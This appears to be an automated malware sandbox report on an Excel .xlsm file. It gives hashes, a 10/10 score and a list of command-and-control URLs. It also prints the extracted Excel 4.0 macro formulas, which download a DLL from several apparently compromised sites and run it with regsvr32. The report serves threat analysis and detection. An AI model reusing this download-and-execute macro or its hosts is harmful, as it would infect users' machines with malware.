General

  • Target

    e64fac5d4201b2e82f974e935e76953a0e61bbd3591b3c673d614f73463b86c5

  • Size

    20KB

  • MD5

    3b7fc190ea4bc334ab9e3509b5c65d2b

  • SHA1

    48a16145bbafdf230eea91036943309e4d80f22d

  • SHA256

    e64fac5d4201b2e82f974e935e76953a0e61bbd3591b3c673d614f73463b86c5

  • SHA512

    632124c672d51407839bc4dc6268458cec6e3f157d5299714c400036d04759026abb6173ea66478923fd09cc1999345a4eaf758414559eecba3ebca45ef22455

  • SSDEEP

    384:TA2Y5Vb1GNj20o4CGzPd6ZIwLJKb5CzgObff9kC+xbX7k7aU2d:U2EINro4FLAOCBn9kC+xbLkWf

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://bctconsulting.se/HelenaWEB/Xf1rQukg8HjfItb9x/

https://binaghetta.it/wp-content/gdONbcsI6Q9/

http://bnbengineering.com.pk/cgi-bin/6n8q1OFBzyGyPSJ/

http://bytesenbits.nl/cgi-bin/OjOn8icwhyf22SzegYA/

http://bioscan.ch/backup_nov05/n6S3o4q9dG8050/

http://abildgren.dk/webmail/XY8XstOvGiLx/

http://grworld.com.tr/fonts/TPxLPt9Us5ALpvY/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bctconsulting.se/HelenaWEB/Xf1rQukg8HjfItb9x/","..\kytk.dll",0,0) =IF('SCWVCV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://binaghetta.it/wp-content/gdONbcsI6Q9/","..\kytk.dll",0,0)) =IF('SCWVCV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bnbengineering.com.pk/cgi-bin/6n8q1OFBzyGyPSJ/","..\kytk.dll",0,0)) =IF('SCWVCV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bytesenbits.nl/cgi-bin/OjOn8icwhyf22SzegYA/","..\kytk.dll",0,0)) =IF('SCWVCV'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bioscan.ch/backup_nov05/n6S3o4q9dG8050/","..\kytk.dll",0,0)) =IF('SCWVCV'!D22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://abildgren.dk/webmail/XY8XstOvGiLx/","..\kytk.dll",0,0)) =IF('SCWVCV'!D24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://grworld.com.tr/fonts/TPxLPt9Us5ALpvY/","..\kytk.dll",0,0)) =IF('SCWVCV'!D26<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\kytk.dll") =RETURN()

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

Files

  • e64fac5d4201b2e82f974e935e76953a0e61bbd3591b3c673d614f73463b86c5
    .xlsm office2007